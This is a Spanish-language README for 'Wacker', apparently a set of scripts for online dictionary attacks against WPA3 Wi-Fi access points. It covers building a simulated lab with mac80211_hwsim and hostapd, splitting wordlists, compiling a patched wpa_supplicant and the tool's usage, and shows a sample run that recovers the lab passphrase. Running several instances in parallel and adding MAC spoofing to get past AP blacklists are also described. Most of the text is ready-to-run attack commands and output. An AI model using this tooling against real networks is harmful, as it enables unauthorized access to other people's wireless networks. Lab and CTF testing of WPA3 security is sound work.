
Un descifrador de diccionario WPA3
Un conjunto de scripts para ayudar a realizar un ataque de diccionario en línea contra un punto de acceso WPA3. Wacker aprovecha la interfaz de control de wpa_supplicant para controlar las operaciones del demonio supplicant y obtener información de estado y notificaciones de eventos, lo que en última instancia ayuda a acelerar los intentos de conexión durante los ataques de fuerza bruta.
En lugar de buscar un AP WPA3 para pruebas, considere configurar un entorno local usando mac80211_hwsim (detalles a continuación) o usando las máquinas virtuales proporcionadas por el RF Hackers Sanctuary (scoreboard.rfhackers.com).
Para configurar su propio simulador de software de radios 802.11, simplemente configure y cargue el módulo mac80211_hwsim correcto.
# modprobe mac80211_hwsim radios=4
# iwconfig
wlan0 IEEE 802.11 ESSID:off/any
Mode:Managed Access Point: Not-Associated Tx-Power=20 dBm
Retry short limit:7 RTS thr:off Fragment thr:off
Power Management:on
wlan1 IEEE 802.11 ESSID:off/any
Mode:Managed Access Point: Not-Associated Tx-Power=20 dBm
Retry short limit:7 RTS thr:off Fragment thr:off
Power Management:on
wlan2 IEEE 802.11 ESSID:off/any
Mode:Managed Access Point: Not-Associated Tx-Power=20 dBm
Retry short limit:7 RTS thr:off Fragment thr:off
Power Management:on
wlan3 IEEE 802.11 ESSID:off/any
Mode:Managed Access Point: Not-Associated Tx-Power=20 dBm
Retry short limit:7 RTS thr:off Fragment thr:off
Power Management:on
Elija una de las nuevas interfaces como su punto de acceso WPA3 y use el siguiente archivo de configuración.
# cat hostapd.conf
interface=wlan0
ssid=WCTF_18
driver=nl80211
hw_mode=g
channel=1
logger_syslog=-1
logger_syslog_level=3
wpa=2
wpa_passphrase=Aeromechanics
wpa_key_mgmt=SAE
rsn_pairwise=CCMP
ieee80211w=2
group_mgmt_cipher=AES-128-CMAC
E inicie hostapd con
# hostapd -K -dd hostapd.conf
Si tiene intención de distribuir sus esfuerzos de descifrado entre una serie de tarjetas de red, el script split.sh proporcionado dividirá una lista de palabras para usted.
# ./split.sh 10 cyberpunk.words
50916 cyberpunk.words.aaa
50916 cyberpunk.words.aab
50916 cyberpunk.words.aac
50916 cyberpunk.words.aad
50916 cyberpunk.words.aae
50916 cyberpunk.words.aaf
50916 cyberpunk.words.aag
50916 cyberpunk.words.aah
50916 cyberpunk.words.aai
50907 cyberpunk.words.aaj
509151 total
Estamos proporcionando nuestro propio wpa_supplicant para garantizar que ciertas configuraciones estén establecidas, así como algunas modificaciones que deben ocurrir dentro del propio código fuente.
# apt-get install -y pkg-config libnl-3-dev gcc libssl-dev libnl-genl-3-dev
# cp defconfig wpa_supplicant-2.10/wpa_supplicant/.config
# git apply wpa_supplicant.patch
# cd wpa_supplicant-2.10/wpa_supplicant
# make -j4
# ls -al wpa_supplicant
-rwxr-xr-x 1 root root 13541416 May 31 16:30 wpa_supplicant
Se requiere python3.6+
Wacker debe considerarse una herramienta complementaria a airodump o kismet, donde la selección del objetivo ya se ha realizado. Wacker desactiva intencionalmente el escaneo en segundo plano con wpa_supplicant para ayudar a acelerar los intentos de autenticación.
El script wacker.py está diseñado para realizar todo el trabajo pesado y requiere algunos detalles específicos sobre el objetivo.
# ./wacker.py --help
usage: wacker.py [-h] --wordlist WORDLIST --interface INTERFACE --bssid BSSID
--ssid SSID --freq FREQ [--start START_WORD] [--debug]
A WPA3 dictionary cracker. Must run as root!
optional arguments:
-h, --help show this help message and exit
--wordlist WORDLIST wordlist to use
--interface INTERFACE
interface to use
--bssid BSSID bssid of the target
--ssid SSID the ssid of the WPA3 AP
--freq FREQ frequency of the ap
--start START_WORD word to start with in the wordlist
--debug increase logging output
Con un poco de suerte... ejecutando el ataque usando solo una instancia...
# ./wacker.py --wordlist cyberpunk.words --ssid WCTF_18 --bssid 02:00:00:00:00:00 --interface wlan2 --freq 2412
Start time: 21 Aug 2020 07:40:11
Starting wpa_supplicant...
5795 / 509151 words (1.14%) : 79.41 words/sec : 0.020 hours lapsed : 1.76 hours to exhaust (21 Aug 2020 09:25:49)
Found the password: 'Aeromechanics'
Stop time: 21 Aug 2020 07:41:24
Ejecutar múltiples instancias de wacker es fácil si tiene tarjetas de red de sobra. No olvide particionar la lista de palabras.
# ./wacker.py --wordlist cyberpunk.words.aaa --ssid WCTF_18 --bssid 02:00:00:00:00:00 --interface wlan1 --freq 2412
# ./wacker.py --wordlist cyberpunk.words.aab --ssid WCTF_18 --bssid 02:00:00:00:00:00 --interface wlan2 --freq 2412
# ./wacker.py --wordlist cyberpunk.words.aac --ssid WCTF_18 --bssid 02:00:00:00:00:00 --interface wlan3 --freq 2412
wacker es bastante verboso. Los archivos de interés se encuentran en /tmp/wacker/
wacker no maneja las listas de control de acceso (ACL) implementadas por el AP WPA3 objetivo. Esto significa que el código actual siempre usa la misma dirección MAC. Si el AP objetivo incluye nuestra dirección MAC en la lista negra, el script no distinguirá entre un fallo de autenticación real y nuestra MAC bloqueada siendo rechazada. Esto significará que consideraremos la contraseña verdadera como un fallo. Una forma de solucionarlo... sería agregar macchanger al código fuente a costa de una ralentización.
u631_3: WPA: AP group 0x10 network profile group 0x18; available group 0x10
u631_3: WPA: using GTK CCMP
u631_3: WPA: AP pairwise 0x10 network profile pairwise 0x18; available pairwise 0x10
u631_3: WPA: using PTK CCMP
u631_3: WPA: AP key_mgmt 0x400 network profile key_mgmt 0x400; available key_mgmt 0x400
u631_3: WPA: Failed to select authenticated key management type
u631_3: WPA: Failed to set WPA key management and encryption suites